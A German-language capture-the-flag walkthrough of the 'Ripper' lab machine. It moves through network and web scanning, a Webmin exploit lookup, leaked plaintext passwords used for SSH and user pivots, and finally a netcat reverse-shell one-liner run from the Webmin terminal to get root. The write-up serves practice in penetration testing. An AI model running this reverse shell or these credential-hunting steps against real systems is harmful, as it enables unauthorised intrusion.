In dieser Phase sammeln wir Informationen über das Zielsystem. Wir beginnen mit einem ARP-Scan, um die IP-Adresse des Ziels im lokalen Netzwerk zu ermitteln.
192.168.2.127 08:00:27:69:aa:19 PCS Systemtechnik GmbH
Der ARP-Scan hat die IP-Adresse 192.168.2.127 des Zielsystems ermittelt. Die MAC-Adresse ist 08:00:27:69:aa:19, und der Hersteller ist PCS Systemtechnik GmbH. Wir notieren uns auch, dass der Login-Screen "ripper" und "cubes" anzeigt.
Wir fügen nun die IP-Adresse und den Hostnamen in die /etc/hosts-Datei ein, um die spätere Verwendung zu erleichtern.
192.168.2.127 ripper.vuln
Wir haben die IP-Adresse und den Hostnamen in die /etc/hosts-Datei eingefügt. Dies ermöglicht uns, den Hostnamen `ripper.vuln` anstelle der IP-Adresse zu verwenden.
Als Nächstes verwenden wir Gobuster, um nach versteckten Verzeichnissen und Dateien auf dem Webserver zu suchen. Gobuster ist ein Tool zum Brute-Force-Auffinden von URIs (Verzeichnisse und Dateien) auf Webservern.
============================================================================================================================== http://ripper.vuln/index.html (Status: 200) [Size: 10918] ==============================================================================================================================
Gobuster hat nur die index.html-Seite gefunden. Wir werden den Webserver mit Nikto weiter untersuchen.
Wir verwenden Nikto, um den Webserver auf Port 80 auf Schwachstellen zu scannen. Nikto ist ein Webserver-Scanner, der auf bekannte Schwachstellen und Konfigurationsfehler prüft.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.127 + Target Hostname: 192.168.2.127 + Target Port: 80 + Start Time: 2023-06-06 18:18:12 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.29 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 5c3f2156d5d01, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET . + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + 8102 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2023-06-06 18:18:33 (GMT2) (21 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Nikto hat einige interessante Punkte gefunden:
Wir führen nun einen umfassenden Nmap-Scan durch, um offene Ports und Dienste auf dem Zielsystem zu identifizieren.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 10000/tcp open http MiniServ 1.910 (Webmin httpd)
Der Nmap-Scan hat die folgenden offenen Ports identifiziert:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-06 18:18 CEST Nmap scan report for ripper.vuln (192.168.2.127) Host is up (0.00017s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open tcpwrapped | ssh-hostkey: | 2048 091a066eeda09b6fd7c778833af77a9c (RSA) | 256 99f1837c15b9dba7a8569605ae5dd3ee (ECDSA) |_ 256 f48c5a9099ead624ba5a2d13e9ce680c (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.29 (Ubuntu) 10000/tcp open http MiniServ 1.910 (Webmin httpd) |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). MAC Address: 08:00:27:69:AA:19 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.6 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.17 ms ripper.vuln (192.168.2.127)
Der vollständige Nmap-Scan bestätigt die oben genannten Dienste und liefert zusätzliche Details wie die SSH-Hostkeys und den Betriebssystemkern. Wir werden den Webmin-Dienst auf Port 10000 genauer untersuchen.
Beim Zugriff auf http://ripper.vuln:10000/ werden wir auf HTTPS umgeleitet. Der Zugriff auf https://ripper.vuln:10000/ zeigt einen Webmin-Login-Bildschirm an.
Wir suchen mit searchsploit nach bekannten Schwachstellen in Webmin 1.910.
------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------ --------------------------------- Webmin 1.910 - 'Package Updates' Remote Command Execution ( | linux/remote/46984.rb Webmin 1.920 - 'rpc.cgi' Remote Code Execution (Metasploi | linux/webapps/47330.rb ------------------------------------------------------------ --------------------------------- Shellcodes: No Results
Searchsploit hat zwei Exploits für Webmin gefunden. Wir wählen den "Package Updates" Remote Command Execution Exploit (46984.rb) aus.
Exploit: Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit) URL: https://www.exploit-db.com/exploits/46984 Path: /usr/share/exploitdb/exploits/linux/remote/46984.rb Codes: CVE-2019-12840 Verified: True File Type: Ruby script, Unicode text, UTF-8 text Copied to: /root/46984.rb
Wir kopieren den Exploit auf unser System. Als Nächstes verwenden wir Dirbuster, um weitere Verzeichnisse auf dem Webserver zu finden.
Juni 06, 2023 6:35:42 PM java.util.prefs.FileSystemPreferences$1 run INFO: Created user preferences directory. Starting OWASP DirBuster 1.0-RC1 Starting dir/file list based brute forcing Dir found: / - 200 Dir found: /icons/ - 403 Dir found: /icons/small/ - 403 Dir found: /rips/ - 200 http://ripper.vuln/rips (Status: 301) [Size: 309] [--> http://ripper.vuln/rips/]
Dirbuster hat das Verzeichnis /rips/ gefunden. Der Zugriff auf http://ripper.vuln/rips/ leitet auf http://ripper.vuln/rips/ weiter. Wir untersuchen das /rips/-Verzeichnis weiter.
Wir untersuchen die /rips/-Anwendung, um potenzielle Schwachstellen zu finden. Die Anwendung scheint Code-Analyse-Funktionen zu haben.
Beim Aufrufen von http://ripper.vuln/rips/ wird ein Hinweis auf eine File Disclosure-Schwachstelle in /var/www/html/rips/windows/code.php angezeigt.
Wir versuchen, die /etc/passwd-Datei über die File Disclosure-Schwachstelle auszulesen.
http://ripper.vuln/rips/windows/code.php?file=/etc/passwd Invalid file specified.
Der Versuch, die /etc/passwd-Datei direkt auszulesen, schlägt fehl. Es scheint eine Filterung zu geben. Wir versuchen andere Dateien.
Wir führen Gobuster aus, um weitere Dateien im /rips/windows/-Verzeichnis zu finden.
http://ripper.vuln/rips/windows/help.php (Status: 200) [Size: 1141] http://ripper.vuln/rips/windows/code.php (Status: 200) [Size: 90] http://ripper.vuln/rips/windows/function.php (Status: 200) [Size: 74] http://ripper.vuln/rips/windows/exploit.php (Status: 200) [Size: 14]
Wir haben die Dateien help.php, code.php, function.php und exploit.php gefunden. Wir untersuchen die Datei exploit.php.
http://ripper.vuln/rips/windows/exploit.php?file=id #!/usr/bin/php -f # # id curl exploit # general settings: URL: COOKIEJAR: Max Exec Time: (s) SSL: BasicAuth:
Die Datei exploit.php scheint ein PHP-Skript zu sein. Wir versuchen, den Parameter file zu manipulieren, um Befehle auszuführen.
Wir verwenden wfuzz, um den Parameter file auf Command Injection zu testen.
Target: http://ripper.vuln/rips/windows/exploit.php?FUZZ=id ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000751: 200 48 L 102 W 1158 Ch "file" Total time: 142.5391 Processed Requests: 220552 Filtered Requests: 220551 Requests/sec.: 1547.308
Wfuzz findet, dass der Parameter "file" existiert. Wir betrachten den Hinweis im Ripper Code, um die korrekte Datei zu finden.
Wir finden die Anmeldedaten für den Benutzer "ripper" in der Datei /secret.php.
Wir versuchen nun, uns per SSH mit dem Benutzer "ripper" und dem Passwort "Gamespeopleplay" anzumelden.
The authenticity of host 'ripper.vuln (192.168.2.127)' can't be established. ED25519 key fingerprint is SHA256:Gz/RqLZwvom5GaG8tBiFtAT9fnNDcbSol7p6Fnfe0G0. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'ripper.vuln' (ED25519) to the list of known hosts. ripper@ripper.vuln's password: Gamespeopleplay
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.4.0-42-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 95 packages can be updated. 1 update is a security update. New release '20.04.6 LTS' available. Run 'do-release-upgrade' to upgrade to it. Your Hardware Enablement Stack (HWE) is supported until April 2023. *** System restart required *** Last login: Fri Jun 4 13:26:34 2021 from 10.0.0.154 ripper@ripper-min:~$
Fantastisch! Wir haben uns erfolgreich als Benutzer "ripper" angemeldet.
Nachdem wir uns als Benutzer "ripper" angemeldet haben, suchen wir nach Möglichkeiten, unsere Privilegien zu erhöhen. Wir beginnen damit, die .bash_history-Datei zu untersuchen, um möglicherweise interessante Befehle oder Anmeldedaten zu finden.
ls sudo -l exit sudo su cd /var/ cd /home/ ls cd /opt/ cd cubes/ ;s ls cd .. ls cd /mnt/ l cat secret.file su cubes ls cat secret.file ls cd /var/ su root sudo sudo apt su root cd /var/ su cubes ls cd /home/ripper/ ls nano flag.txt cat flag.txt cd /root/ su root
Die .bash_history-Datei zeigt einige interessante Befehle, wie z.B. den Versuch, mit "su root" Root-Rechte zu erlangen, und den Zugriff auf die Datei /mnt/secret.file.
Wir lesen den Inhalt der Datei flag.txt.
__________.____________________________________________ \______ \ \______ \______ \ _ _____/\______ \ | _______/ || _______/| _______/| ____)_ | _______/ | | \ || | | | | | | \ |____|_ /___||____| |____| /_______ / |____|_ / \/ \/ \/ flag{15ea80f080be3714df1ef97bac5d7151} C0ngratulation on getting user ! Lets get root now :)
Wir haben die User-Flag gefunden! Der Text deutet an, dass wir nun Root-Rechte erlangen sollen.
Wir suchen nach Dateien, deren Namen mit "secret" beginnen, um weitere Informationen zu finden.
/snap/core18/2066/usr/lib/python3.6/__pycache__/secrets.cpython-36.pyc /snap/core18/2066/usr/lib/python3.6/secrets.py /snap/core18/1885/usr/lib/python3.6/__pycache__/secrets.cpython-36.pyc /snap/core18/1885/usr/lib/python3.6/secrets.py /snap/gnome-3-34-1804/36/usr/lib/python3.6/secrets.py /snap/gnome-3-34-1804/66/usr/lib/python3.6/secrets.py /mnt/secret.file /usr/lib/python3/dist-packages/pymacaroons/field_encryptors/secret_box_encryptor.py /usr/lib/python3/dist-packages/pymacaroons/field_encryptors/__pycache__/secret_box_encryptor.cpython-36.pyc /usr/lib/python3/dist-packages/nacl/secret.py /usr/lib/python3/dist-packages/nacl/__pycache__/secret.cpython-36.pyc /usr/lib/python3.6/secrets.py /usr/lib/python3.6/__pycache__/secrets.cpython-36.pyc /usr/share/cups/data/secret.pdf /usr/share/cups/banners/secret
Die Suche hat mehrere Dateien gefunden, aber /mnt/secret.file erscheint am vielversprechendsten.
This is my secret file [file system] -passwd : Il00tpeople
Die Datei /mnt/secret.file enthält den Hinweis "-passwd : Il00tpeople". Dies könnte das Passwort für den Benutzer "cubes" sein, da wir diesen im Login Screen gesehen haben.
Nachdem wir nun das potenzielle Passwort für den Benutzer "cubes" haben, versuchen wir, uns als dieser Benutzer anzumelden.
Password: su: Authentication failure
Der Versuch, uns direkt als Root anzumelden, schlägt fehl. Dies war jedoch zu erwarten.
total 16 drwxr-xr-x 4 root root 4096 Jun 4 2021 . drwxr-xr-x 24 root root 4096 Jun 6 14:06 .. drwxr-xr-x 15 cubes cubes 4096 Jun 4 2021 cubes drwxr-xr-x 16 ripper ripper 4096 Jun 4 2021 ripper
Wir versuchen nun, uns als Benutzer "cubes" anzumelden.
Password: Il00tpeople
cubes@ripper-min:~$
Wir haben uns erfolgreich als Benutzer "cubes" angemeldet! Nun überprüfen wir, ob der Benutzer "cubes" Sudo-Rechte hat.
[sudo] password for cubes: Sorry, user cubes may not run sudo on ripper-min.
Der Benutzer "cubes" hat keine Sudo-Rechte. Wir untersuchen die .bash_history-Datei des Benutzers "cubes", um weitere Hinweise zu finden.
cd /var/ ls cd webmin/ ks ls cd backup/ ls cd /mnt/ ls -la nano s.txt ls rm s.txt nano secret.file su ripper sudo apt su root cd /var/ ls cd webmin/ ls mkdir backup cd backup/ cd .. ls cat miniserv. cat miniserv.log cd modules/ ls cd .. ls cat miniserv.error ls cat blocked cp miniserv.error backup/miniser.log cd backup/ ls nano miniser.log cd /mnt/ ls nano secret.file su root
Die .bash_history-Datei des Benutzers "cubes" zeigt, dass er das Webmin-Verzeichnis untersucht hat. Wir suchen nach weiteren Hinweisen in den Webmin-Konfigurationsdateien.
Wir suchen nach Anmeldedaten in den Webmin-Logdateien.
total 12 drwxrwxr-x+ 2 cubes cubes 4096 Jun 4 2021 ./ drwxrwx---+ 4 root bin 4096 Jun 4 2021 ../ -rw-rwx---+ 1 cubes cubes 2660 Jun 4 2021 miniser.log*
[04/Jun/2021:11:33:16 -0400] [10.0.0.154] Authentication : session_login.cgi=username=admin&pass=tokiohotel
Wir haben das Passwort "tokiohotel" für den Benutzer "admin" gefunden! Dies sind die Anmeldedaten für Webmin.
Wir versuchen nun, uns als Root anzumelden.
Password: tokiohotel su: Authentication failure
Der Versuch, uns direkt als Root anzumelden, schlägt erneut fehl. Das Passwort gilt für Webmin, nicht für den Systembenutzer Root.
Wir melden uns bei Webmin mit den Anmeldedaten admin:tokiohotel an.
Nach der Anmeldung bei Webmin finden wir ein Terminal-Modul. Wir verwenden dieses Terminal, um eine Reverse Shell zu erhalten.
[admin@ripper-min ~]# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.113 4444 >/tmp/f
Auf unserem System starten wir einen Netcat-Listener.
listening on [any] 4444 ... connect to [192.168.2.113] from (UNKNOWN) [192.168.2.127] 43458 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # # pwd /root # cat flag.txt
.---..-.-.-..-..-..--. .---. .-..---..---..---..---. | |-'| | | || .` || \ \### | | < | || |-'| |-'| |- | | < `-' ``-'`-'`-'-' `-' `-'`-'`-'`-' ---'`-'`-' COngrats !!! You have rooted this box !! Follow me on twitter @san3ncrypt3d #
Wir haben eine Root-Shell erhalten!